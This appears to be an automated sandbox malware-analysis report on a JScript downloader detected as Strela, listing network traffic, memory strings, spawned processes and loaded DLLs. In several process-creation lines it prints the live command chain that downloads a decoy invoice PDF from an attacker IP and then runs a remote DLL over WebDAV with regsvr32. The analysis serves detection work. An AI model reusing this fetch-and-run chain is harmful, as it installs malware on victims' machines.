Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.8:56559 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa

Source: wscript.exe, 00000000.00000003.1465383579.0000020F0C9D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1521159807.000001C0A6928000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1527857842.000001C0A695C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1520272859.000001C0A695C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1521159807.000001C0A6928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000007.00000002.1521159807.000001C0A6928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/t
Source: svchost.exe, 00000009.00000002.2747052510.0000023528E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1520520205.0000023528D50000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2060, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 22346161431640618987.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2100:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lr5oqsna.ehy.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22346161431640618987.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1656,i,9541411069191767408,10913797833195117777,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1656,i,9541411069191767408,10913797833195117777,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
